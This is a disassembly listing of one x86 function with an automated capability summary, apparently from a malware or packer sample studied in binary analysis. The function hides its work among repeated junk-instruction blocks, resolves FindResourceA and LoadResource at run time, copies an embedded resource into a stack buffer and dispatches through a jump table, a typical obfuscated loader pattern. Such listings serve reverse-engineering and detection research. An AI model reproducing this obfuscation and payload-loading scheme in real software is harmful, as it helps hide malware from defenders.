Function at 0x401270
Capabilities:
Authenticate hmac
Encode data using base64
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2c04
call fcn.0040f9b0
push ebx
push esi
push eax
push ebx
xor ebx, 0xab
xor ebx, 0x3a
sub eax, eax
add eax, 0x36
sub ebx, eax
add ebx, 0xf9
mov eax, 0x63
sub eax, eax
sub eax, eax
xor ebx, eax
add eax, eax
xor ebx, ebx
xor ebx, eax
sub ebx, 0x73
sub eax, ebx
add eax, eax
sub eax, 0x25
add ebx, 0x68
add eax, 0x49
add eax, eax
add eax, 0x46
add eax, ebx
xor eax, 0xca
sub eax, ebx
sub ebx, ebx
add eax, 0x5c
mov eax, eax
xor eax, eax
sub eax, 0x3b
mov ebx, ebx
sub eax, eax
add eax, 0xa8
add ebx, eax
sub eax, 0x64
xor ebx, 0x90
add ebx, eax
add eax, 0xd0
mov eax, ebx
xor ebx, 0x51
sub ebx, ebx
xor eax, 0x5e
xor ebx, eax
xor ebx, 1
sub ebx, 0x89
mov ebx, ebx
mov eax, eax
mov eax, ebx
mov eax, 0x4e
xor ebx, ebx
sub eax, ebx
sub eax, eax
sub ebx, 0x46
add ebx, 0x8b
xor ebx, ebx
sub eax, 0x37
mov eax, 0xd5
add ebx, ebx
sub ebx, 0xb8
mov ebx, 0xd5
sub ebx, eax
add ebx, ebx
add eax, 0x2a
add ebx, 0x47
mov ebx, eax
add ebx, 0xa7
mov ebx, eax
add ebx, eax
add eax, 0xce
sub eax, eax
sub ebx, 0x3f
add ebx, 0x9c
xor ebx, eax
mov eax, 0x7e
xor eax, 0xfd
add ebx, 0xff
mov ebx, ebx
add ebx, 0x80
xor ebx, eax
mov eax, 0x51
add eax, ebx
mov eax, 0x7e
mov ebx, eax
xor ebx, ebx
sub eax, 0xea
xor eax, 0xb5
mov eax, 0x65
sub eax, ebx
xor ebx, 0x61
pop eax
pop ebx
push str.FindResourceA
push 0x458614
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [ebp - 4], eax
push eax
push ebx
xor ebx, 0xab
xor ebx, 0x3a
sub eax, eax
add eax, 0x36
sub ebx, eax
add ebx, 0xf9
mov eax, 0x63
sub eax, eax
sub eax, eax
xor ebx, eax
add eax, eax
xor ebx, ebx
xor ebx, eax
sub ebx, 0x73
sub eax, ebx
add eax, eax
sub eax, 0x25
add ebx, 0x68
add eax, 0x49
add eax, eax
add eax, 0x46
add eax, ebx
xor eax, 0xca
sub eax, ebx
sub ebx, ebx
add eax, 0x5c
mov eax, eax
xor eax, eax
sub eax, 0x3b
mov ebx, ebx
sub eax, eax
add eax, 0xa8
add ebx, eax
sub eax, 0x64
xor ebx, 0x90
add ebx, eax
add eax, 0xd0
mov eax, ebx
xor ebx, 0x51
sub ebx, ebx
xor eax, 0x5e
xor ebx, eax
xor ebx, 1
sub ebx, 0x89
mov ebx, ebx
mov eax, eax
mov eax, ebx
mov eax, 0x4e
xor ebx, ebx
sub eax, ebx
sub eax, eax
sub ebx, 0x46
add ebx, 0x8b
xor ebx, ebx
sub eax, 0x37
mov eax, 0xd5
add ebx, ebx
sub ebx, 0xb8
mov ebx, 0xd5
sub ebx, eax
add ebx, ebx
add eax, 0x2a
add ebx, 0x47
mov ebx, eax
add ebx, 0xa7
mov ebx, eax
add ebx, eax
add eax, 0xce
sub eax, eax
sub ebx, 0x3f
add ebx, 0x9c
xor ebx, eax
mov eax, 0x7e
xor eax, 0xfd
add ebx, 0xff
mov ebx, ebx
add ebx, 0x80
xor ebx, eax
mov eax, 0x51
add eax, ebx
mov eax, 0x7e
mov ebx, eax
xor ebx, ebx
sub eax, 0xea
xor eax, 0xb5
mov eax, 0x65
sub eax, ebx
xor ebx, 0x61
mov eax, 0x65
xor eax, ebx
add eax, 0x71
add eax, ebx
mov eax, 0x24
xor eax, 0x4c
sub eax, 0x8b
xor ebx, eax
xor eax, eax
mov eax, eax
sub eax, ebx
xor ebx, eax
add ebx, eax
add eax, 0x9f
xor ebx, 0x26
mov eax, ebx
xor eax, 0x54
sub ebx, ebx
sub ebx, ebx
xor eax, 0xa2
sub ebx, 0x45
xor ebx, ebx
xor eax, ebx
mov ebx, 0xfc
add eax, ebx
sub eax, ebx
mov eax, ebx
add eax, 0xf1
add eax, ebx
sub eax, eax
sub eax, 0x24
mov ebx, ebx
add ebx, 5
add eax, 0x12
xor eax, 0xd7
xor ebx, 0xdd
mov ebx, 0x7d
mov eax, eax
sub eax, ebx
xor ebx, 0xd
sub ebx, 0xda
xor eax, 0x7a
xor ebx, eax
xor ebx, 0x94
xor eax, 0xde
add eax, 0x45
xor ebx, eax
add eax, eax
mov eax, eax
mov eax, eax
add ebx, 0x1e
add eax, 0x86
mov ebx, ebx
sub eax, 0xe8
add ebx, eax
mov ebx, ebx
mov eax, 0xd6
sub eax, ebx
add ebx, 0xf7
xor ebx, ebx
add eax, ebx
add ebx, 0xb4
mov ebx, eax
add eax, ebx
mov eax, 0x32
mov eax, 0xad
xor ebx, 0x6d
xor eax, ebx
xor ebx, ebx
xor ebx, 0xe4
sub ebx, ebx
sub ebx, 0x26
sub eax, ebx
add eax, eax
mov eax, ebx
add ebx, ebx
mov eax, ebx
add ebx, eax
xor eax, eax
sub eax, 0x80
add eax, 0x85
sub eax, ebx
mov ebx, eax
sub eax, 0xae
mov eax, eax
add eax, 0x6a
mov ebx, eax
add ebx, eax
mov eax, 0x47
add eax, 0xbb
xor eax, eax
xor ebx, ebx
xor eax, 0xa
add ebx, eax
add ebx, eax
add ebx, 0x4e
mov eax, 0x39
xor eax, 0xbd
sub eax, 0x62
sub eax, 0x39
xor ebx, 0x69
xor ebx, ebx
sub eax, ebx
sub ebx, 0x5b
sub ebx, 0xa8
sub eax, ebx
xor ebx, eax
sub eax, eax
sub eax, 0xa8
sub ebx, 0x52
sub eax, eax
add eax, 0xb2
mov eax, 0xb7
sub ebx, ebx
sub eax, 0x82
mov ebx, 0xf2
xor eax, 0xfb
sub ebx, ebx
add ebx, 0xf2
add eax, 0xa8
sub eax, 0x78
sub eax, ebx
add ebx, 0x41
xor ebx, 0xf8
mov ebx, eax
mov eax, 0x65
xor eax, 0x88
add ebx, 0xe1
mov ebx, 0xe5
xor eax, eax
xor ebx, 0xdb
xor ebx, ebx
sub eax, 0xa9
sub eax, eax
add eax, 0xd
mov eax, 0x8e
sub eax, 0x78
add ebx, ebx
sub ebx, 9
mov eax, 0x8a
add eax, 0x56
mov eax, 0xc2
mov ebx, 0
add ebx, 0xcb
mov ebx, 0xba
xor eax, 0xdd
sub eax, 0x8c
mov ebx, 0x39
mov ebx, 0xb2
sub ebx, ebx
xor ebx, ebx
sub ebx, 0xc8
mov eax, 0xf9
mov eax, 0xaa
mov eax, 0xa5
xor ebx, eax
add ebx, 0xe5
xor eax, eax
xor ebx, ebx
add ebx, eax
xor ebx, ebx
sub eax, 0x61
sub ebx, ebx
add eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov ebx, 0xf8
add ebx, ebx
xor eax, eax
add ebx, 0x99
add ebx, 0x34
mov eax, eax
xor eax, ebx
xor eax, eax
add ebx, ebx
add ebx, 2
sub eax, 0xca
sub eax, ebx
mov ebx, eax
mov ebx, eax
xor ebx, eax
xor ebx, ebx
xor eax, ebx
xor ebx, 0xad
xor eax, ebx
sub ebx, ebx
add ebx, 0x10
sub ebx, 0xfb
sub eax, 0xc8
mov ebx, ebx
add eax, ebx
sub ebx, ebx
mov eax, 0x79
mov ebx, eax
mov eax, eax
add ebx, ebx
xor ebx, ebx
add eax, eax
sub eax, 0x54
sub ebx, 0xfa
mov eax, 0x12
add ebx, 0x84
sub ebx, ebx
mov eax, 0xfa
add eax, ebx
xor ebx, 0xa0
add ebx, 0xcb
add ebx, 0x19
mov ebx, ebx
sub ebx, 0x14
pop eax
pop ebx
push str.LoadResource
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
mov esi, eax
push eax
push ebx
xor ebx, 0xab
xor ebx, 0x3a
sub eax, eax
add eax, 0x36
sub ebx, eax
add ebx, 0xf9
mov eax, 0x63
sub eax, eax
sub eax, eax
xor ebx, eax
add eax, eax
xor ebx, ebx
xor ebx, eax
sub ebx, 0x73
sub eax, ebx
add eax, eax
sub eax, 0x25
add ebx, 0x68
add eax, 0x49
add eax, eax
add eax, 0x46
add eax, ebx
xor eax, 0xca
sub eax, ebx
sub ebx, ebx
add eax, 0x5c
mov eax, eax
xor eax, eax
sub eax, 0x3b
mov ebx, ebx
sub eax, eax
add eax, 0xa8
add ebx, eax
sub eax, 0x64
xor ebx, 0x90
add ebx, eax
add eax, 0xd0
mov eax, ebx
xor ebx, 0x51
sub ebx, ebx
xor eax, 0x5e
xor ebx, eax
xor ebx, 1
sub ebx, 0x89
mov ebx, ebx
mov eax, eax
mov eax, ebx
mov eax, 0x4e
xor ebx, ebx
sub eax, ebx
sub eax, eax
sub ebx, 0x46
add ebx, 0x8b
xor ebx, ebx
sub eax, 0x37
mov eax, 0xd5
add ebx, ebx
sub ebx, 0xb8
mov ebx, 0xd5
sub ebx, eax
add ebx, ebx
add eax, 0x2a
add ebx, 0x47
mov ebx, eax
add ebx, 0xa7
mov ebx, eax
add ebx, eax
add eax, 0xce
sub eax, eax
sub ebx, 0x3f
add ebx, 0x9c
xor ebx, eax
mov eax, 0x7e
xor eax, 0xfd
add ebx, 0xff
mov ebx, ebx
add ebx, 0x80
xor ebx, eax
mov eax, 0x51
add eax, ebx
mov eax, 0x7e
mov ebx, eax
xor ebx, ebx
sub eax, 0xea
xor eax, 0xb5
mov eax, 0x65
sub eax, ebx
xor ebx, 0x61
mov eax, 0x65
xor eax, ebx
add eax, 0x71
add eax, ebx
mov eax, 0x24
xor eax, 0x4c
sub eax, 0x8b
xor ebx, eax
xor eax, eax
mov eax, eax
sub eax, ebx
xor ebx, eax
add ebx, eax
add eax, 0x9f
xor ebx, 0x26
mov eax, ebx
xor eax, 0x54
sub ebx, ebx
sub ebx, ebx
xor eax, 0xa2
sub ebx, 0x45
xor ebx, ebx
xor eax, ebx
mov ebx, 0xfc
add eax, ebx
sub eax, ebx
mov eax, ebx
add eax, 0xf1
add eax, ebx
sub eax, eax
sub eax, 0x24
mov ebx, ebx
add ebx, 5
add eax, 0x12
xor eax, 0xd7
xor ebx, 0xdd
mov ebx, 0x7d
mov eax, eax
sub eax, ebx
pop eax
pop ebx
push 0xa
push 0x458a3c
push 0
call dword [ebp - 4]
mov ecx, eax
push eax
push ebx
xor ebx, 0xab
xor ebx, 0x3a
sub eax, eax
add eax, 0x36
sub ebx, eax
add ebx, 0xf9
mov eax, 0x63
sub eax, eax
sub eax, eax
xor ebx, eax
add eax, eax
xor ebx, ebx
xor ebx, eax
sub ebx, 0x73
sub eax, ebx
add eax, eax
sub eax, 0x25
add ebx, 0x68
add eax, 0x49
add eax, eax
add eax, 0x46
add eax, ebx
xor eax, 0xca
sub eax, ebx
sub ebx, ebx
add eax, 0x5c
mov eax, eax
xor eax, eax
sub eax, 0x3b
mov ebx, ebx
sub eax, eax
add eax, 0xa8
add ebx, eax
sub eax, 0x64
xor ebx, 0x90
add ebx, eax
add eax, 0xd0
mov eax, ebx
xor ebx, 0x51
sub ebx, ebx
xor eax, 0x5e
xor ebx, eax
xor ebx, 1
sub ebx, 0x89
mov ebx, ebx
mov eax, eax
mov eax, ebx
mov eax, 0x4e
xor ebx, ebx
sub eax, ebx
sub eax, eax
sub ebx, 0x46
add ebx, 0x8b
xor ebx, ebx
sub eax, 0x37
mov eax, 0xd5
add ebx, ebx
sub ebx, 0xb8
mov ebx, 0xd5
sub ebx, eax
add ebx, ebx
add eax, 0x2a
add ebx, 0x47
mov ebx, eax
add ebx, 0xa7
mov ebx, eax
add ebx, eax
add eax, 0xce
sub eax, eax
sub ebx, 0x3f
add ebx, 0x9c
xor ebx, eax
mov eax, 0x7e
xor eax, 0xfd
add ebx, 0xff
mov ebx, ebx
add ebx, 0x80
xor ebx, eax
mov eax, 0x51
add eax, ebx
mov eax, 0x7e
mov ebx, eax
xor ebx, ebx
sub eax, 0xea
xor eax, 0xb5
mov eax, 0x65
sub eax, ebx
xor ebx, 0x61
mov eax, 0x65
xor eax, ebx
add eax, 0x71
add eax, ebx
mov eax, 0x24
xor eax, 0x4c
sub eax, 0x8b
xor ebx, eax
xor eax, eax
mov eax, eax
sub eax, ebx
xor ebx, eax
add ebx, eax
add eax, 0x9f
xor ebx, 0x26
mov eax, ebx
xor eax, 0x54
sub ebx, ebx
sub ebx, ebx
xor eax, 0xa2
sub ebx, 0x45
xor ebx, ebx
xor eax, ebx
mov ebx, 0xfc
add eax, ebx
sub eax, ebx
mov eax, ebx
add eax, 0xf1
add eax, ebx
sub eax, eax
sub eax, 0x24
mov ebx, ebx
add ebx, 5
add eax, 0x12
xor eax, 0xd7
xor ebx, 0xdd
mov ebx, 0x7d
mov eax, eax
sub eax, ebx
xor ebx, 0xd
sub ebx, 0xda
xor eax, 0x7a
xor ebx, eax
xor ebx, 0x94
xor eax, 0xde
add eax, 0x45
xor ebx, eax
add eax, eax
mov eax, eax
mov eax, eax
add ebx, 0x1e
add eax, 0x86
mov ebx, ebx
sub eax, 0xe8
add ebx, eax
mov ebx, ebx
mov eax, 0xd6
sub eax, ebx
add ebx, 0xf7
xor ebx, ebx
add eax, ebx
add ebx, 0xb4
mov ebx, eax
add eax, ebx
mov eax, 0x32
mov eax, 0xad
xor ebx, 0x6d
xor eax, ebx
xor ebx, ebx
xor ebx, 0xe4
sub ebx, ebx
sub ebx, 0x26
sub eax, ebx
add eax, eax
mov eax, ebx
add ebx, ebx
mov eax, ebx
add ebx, eax
xor eax, eax
sub eax, 0x80
add eax, 0x85
sub eax, ebx
mov ebx, eax
sub eax, 0xae
mov eax, eax
add eax, 0x6a
mov ebx, eax
add ebx, eax
mov eax, 0x47
add eax, 0xbb
xor eax, eax
xor ebx, ebx
xor eax, 0xa
add ebx, eax
add ebx, eax
add ebx, 0x4e
mov eax, 0x39
xor eax, 0xbd
sub eax, 0x62
sub eax, 0x39
xor ebx, 0x69
xor ebx, ebx
sub eax, ebx
sub ebx, 0x5b
sub ebx, 0xa8
sub eax, ebx
xor ebx, eax
sub eax, eax
sub eax, 0xa8
sub ebx, 0x52
sub eax, eax
add eax, 0xb2
mov eax, 0xb7
sub ebx, ebx
sub eax, 0x82
mov ebx, 0xf2
xor eax, 0xfb
sub ebx, ebx
add ebx, 0xf2
add eax, 0xa8
sub eax, 0x78
sub eax, ebx
add ebx, 0x41
xor ebx, 0xf8
mov ebx, eax
mov eax, 0x65
xor eax, 0x88
add ebx, 0xe1
mov ebx, 0xe5
xor eax, eax
xor ebx, 0xdb
xor ebx, ebx
sub eax, 0xa9
sub eax, eax
pop eax
pop ebx
push ecx
push 0
call esi
mov ecx, eax
push eax
push ebx
xor ebx, 0xab
xor ebx, 0x3a
sub eax, eax
add eax, 0x36
sub ebx, eax
add ebx, 0xf9
mov eax, 0x63
sub eax, eax
sub eax, eax
xor ebx, eax
add eax, eax
xor ebx, ebx
xor ebx, eax
sub ebx, 0x73
sub eax, ebx
add eax, eax
sub eax, 0x25
add ebx, 0x68
add eax, 0x49
add eax, eax
add eax, 0x46
add eax, ebx
xor eax, 0xca
sub eax, ebx
sub ebx, ebx
add eax, 0x5c
mov eax, eax
xor eax, eax
sub eax, 0x3b
mov ebx, ebx
sub eax, eax
add eax, 0xa8
add ebx, eax
sub eax, 0x64
xor ebx, 0x90
add ebx, eax
add eax, 0xd0
mov eax, ebx
xor ebx, 0x51
sub ebx, ebx
xor eax, 0x5e
xor ebx, eax
xor ebx, 1
sub ebx, 0x89
mov ebx, ebx
mov eax, eax
mov eax, ebx
mov eax, 0x4e
xor ebx, ebx
sub eax, ebx
sub eax, eax
sub ebx, 0x46
add ebx, 0x8b
xor ebx, ebx
sub eax, 0x37
mov eax, 0xd5
add ebx, ebx
sub ebx, 0xb8
mov ebx, 0xd5
sub ebx, eax
add ebx, ebx
add eax, 0x2a
add ebx, 0x47
mov ebx, eax
add ebx, 0xa7
mov ebx, eax
add ebx, eax
add eax, 0xce
sub eax, eax
sub ebx, 0x3f
add ebx, 0x9c
xor ebx, eax
mov eax, 0x7e
xor eax, 0xfd
add ebx, 0xff
mov ebx, ebx
add ebx, 0x80
xor ebx, eax
mov eax, 0x51
add eax, ebx
mov eax, 0x7e
mov ebx, eax
xor ebx, ebx
sub eax, 0xea
xor eax, 0xb5
mov eax, 0x65
sub eax, ebx
xor ebx, 0x61
mov eax, 0x65
xor eax, ebx
add eax, 0x71
add eax, ebx
mov eax, 0x24
xor eax, 0x4c
sub eax, 0x8b
xor ebx, eax
xor eax, eax
mov eax, eax
sub eax, ebx
xor ebx, eax
add ebx, eax
add eax, 0x9f
xor ebx, 0x26
mov eax, ebx
xor eax, 0x54
sub ebx, ebx
sub ebx, ebx
xor eax, 0xa2
sub ebx, 0x45
xor ebx, ebx
xor eax, ebx
mov ebx, 0xfc
add eax, ebx
sub eax, ebx
mov eax, ebx
add eax, 0xf1
add eax, ebx
sub eax, eax
sub eax, 0x24
mov ebx, ebx
add ebx, 5
add eax, 0x12
xor eax, 0xd7
xor ebx, 0xdd
mov ebx, 0x7d
mov eax, eax
sub eax, ebx
xor ebx, 0xd
sub ebx, 0xda
xor eax, 0x7a
xor ebx, eax
xor ebx, 0x94
xor eax, 0xde
add eax, 0x45
xor ebx, eax
add eax, eax
mov eax, eax
mov eax, eax
add ebx, 0x1e
add eax, 0x86
mov ebx, ebx
sub eax, 0xe8
add ebx, eax
mov ebx, ebx
mov eax, 0xd6
sub eax, ebx
add ebx, 0xf7
xor ebx, ebx
add eax, ebx
add ebx, 0xb4
mov ebx, eax
add eax, ebx
mov eax, 0x32
mov eax, 0xad
xor ebx, 0x6d
xor eax, ebx
xor ebx, ebx
xor ebx, 0xe4
sub ebx, ebx
sub ebx, 0x26
sub eax, ebx
add eax, eax
mov eax, ebx
add ebx, ebx
mov eax, ebx
add ebx, eax
xor eax, eax
sub eax, 0x80
add eax, 0x85
sub eax, ebx
mov ebx, eax
sub eax, 0xae
mov eax, eax
add eax, 0x6a
mov ebx, eax
add ebx, eax
mov eax, 0x47
add eax, 0xbb
xor eax, eax
xor ebx, ebx
xor eax, 0xa
add ebx, eax
add ebx, eax
add ebx, 0x4e
mov eax, 0x39
xor eax, 0xbd
sub eax, 0x62
sub eax, 0x39
xor ebx, 0x69
xor ebx, ebx
sub eax, ebx
sub ebx, 0x5b
sub ebx, 0xa8
sub eax, ebx
xor ebx, eax
sub eax, eax
sub eax, 0xa8
sub ebx, 0x52
sub eax, eax
add eax, 0xb2
mov eax, 0xb7
sub ebx, ebx
sub eax, 0x82
mov ebx, 0xf2
xor eax, 0xfb
sub ebx, ebx
add ebx, 0xf2
add eax, 0xa8
sub eax, 0x78
sub eax, ebx
add ebx, 0x41
xor ebx, 0xf8
mov ebx, eax
mov eax, 0x65
xor eax, 0x88
add ebx, 0xe1
mov ebx, 0xe5
xor eax, eax
xor ebx, 0xdb
xor ebx, ebx
sub eax, 0xa9
sub eax, eax
add eax, 0xd
mov eax, 0x8e
sub eax, 0x78
add ebx, ebx
sub ebx, 9
mov eax, 0x8a
add eax, 0x56
mov eax, 0xc2
mov ebx, 0
add ebx, 0xcb
mov ebx, 0xba
xor eax, 0xdd
sub eax, 0x8c
mov ebx, 0x39
mov ebx, 0xb2
sub ebx, ebx
xor ebx, ebx
sub ebx, 0xc8
mov eax, 0xf9
mov eax, 0xaa
mov eax, 0xa5
xor ebx, eax
add ebx, 0xe5
xor eax, eax
pop eax
pop ebx
lea eax, [ebp - 0x2c04]
push 0x2bff
push ecx
push eax
call fcn.004108f0
add esp, 0xc
push eax
push ebx
xor ebx, 0xab
xor ebx, 0x3a
sub eax, eax
add eax, 0x36
sub ebx, eax
add ebx, 0xf9
mov eax, 0x63
sub eax, eax
sub eax, eax
xor ebx, eax
add eax, eax
xor ebx, ebx
xor ebx, eax
sub ebx, 0x73
sub eax, ebx
add eax, eax
sub eax, 0x25
add ebx, 0x68
add eax, 0x49
add eax, eax
add eax, 0x46
add eax, ebx
xor eax, 0xca
sub eax, ebx
sub ebx, ebx
add eax, 0x5c
mov eax, eax
xor eax, eax
sub eax, 0x3b
mov ebx, ebx
sub eax, eax
add eax, 0xa8
add ebx, eax
sub eax, 0x64
xor ebx, 0x90
add ebx, eax
add eax, 0xd0
mov eax, ebx
xor ebx, 0x51
sub ebx, ebx
xor eax, 0x5e
xor ebx, eax
xor ebx, 1
sub ebx, 0x89
mov ebx, ebx
mov eax, eax
mov eax, ebx
mov eax, 0x4e
xor ebx, ebx
sub eax, ebx
sub eax, eax
sub ebx, 0x46
add ebx, 0x8b
xor ebx, ebx
sub eax, 0x37
mov eax, 0xd5
add ebx, ebx
sub ebx, 0xb8
mov ebx, 0xd5
sub ebx, eax
add ebx, ebx
add eax, 0x2a
add ebx, 0x47
mov ebx, eax
add ebx, 0xa7
mov ebx, eax
add ebx, eax
add eax, 0xce
sub eax, eax
sub ebx, 0x3f
add ebx, 0x9c
xor ebx, eax
mov eax, 0x7e
xor eax, 0xfd
add ebx, 0xff
mov ebx, ebx
add ebx, 0x80
xor ebx, eax
mov eax, 0x51
add eax, ebx
mov eax, 0x7e
mov ebx, eax
xor ebx, ebx
sub eax, 0xea
xor eax, 0xb5
mov eax, 0x65
sub eax, ebx
xor ebx, 0x61
mov eax, 0x65
xor eax, ebx
add eax, 0x71
add eax, ebx
mov eax, 0x24
xor eax, 0x4c
sub eax, 0x8b
xor ebx, eax
xor eax, eax
mov eax, eax
sub eax, ebx
xor ebx, eax
add ebx, eax
add eax, 0x9f
xor ebx, 0x26
mov eax, ebx
xor eax, 0x54
sub ebx, ebx
sub ebx, ebx
xor eax, 0xa2
sub ebx, 0x45
xor ebx, ebx
xor eax, ebx
mov ebx, 0xfc
add eax, ebx
sub eax, ebx
mov eax, ebx
add eax, 0xf1
add eax, ebx
sub eax, eax
sub eax, 0x24
mov ebx, ebx
add ebx, 5
add eax, 0x12
xor eax, 0xd7
xor ebx, 0xdd
mov ebx, 0x7d
mov eax, eax
sub eax, ebx
xor ebx, 0xd
sub ebx, 0xda
xor eax, 0x7a
xor ebx, eax
xor ebx, 0x94
xor eax, 0xde
add eax, 0x45
xor ebx, eax
add eax, eax
mov eax, eax
mov eax, eax
add ebx, 0x1e
add eax, 0x86
mov ebx, ebx
sub eax, 0xe8
add ebx, eax
mov ebx, ebx
mov eax, 0xd6
sub eax, ebx
add ebx, 0xf7
xor ebx, ebx
add eax, ebx
add ebx, 0xb4
mov ebx, eax
add eax, ebx
mov eax, 0x32
mov eax, 0xad
xor ebx, 0x6d
xor eax, ebx
xor ebx, ebx
xor ebx, 0xe4
sub ebx, ebx
sub ebx, 0x26
sub eax, ebx
add eax, eax
mov eax, ebx
add ebx, ebx
mov eax, ebx
add ebx, eax
xor eax, eax
sub eax, 0x80
add eax, 0x85
sub eax, ebx
mov ebx, eax
sub eax, 0xae
mov eax, eax
add eax, 0x6a
mov ebx, eax
add ebx, eax
mov eax, 0x47
pop eax
pop ebx
xor esi, esi
nop dword [eax + eax]
push str.qP60nr0YFZNCSITkRiwAV5ffLIk9wl
call fcn.00401240
push str.SmEj0aACcYl4i8AXmag6Eyn
call fcn.00401240
push str.EKCfU7f1iHdbFFwwb7JDISLsS0mWmihcHOyTD6
call fcn.00401240
push str.gJFHrLkaaEy8lHN2zrxD5wTmIvEz8x8w
call fcn.00401240
push str.qCh710wQ61MtTZggJB
call fcn.00401240
push str.gPM0wTFzxOpjzaPhdUDm1fszvjvPVKXFfIRWBl
call fcn.00401240
push str.fNJwjWOFFL6H3dMW4lcDxQklw9kzhrRc6RY5j6oDrVb
call fcn.00401240
push str.QAnDjXoHv53PdLIkgfTws165oy
call fcn.00401240
movzx eax, byte [ebp + esi - 0x2c04]
add esp, 0x20
jmp dword [eax*4 + 0x40f4fc]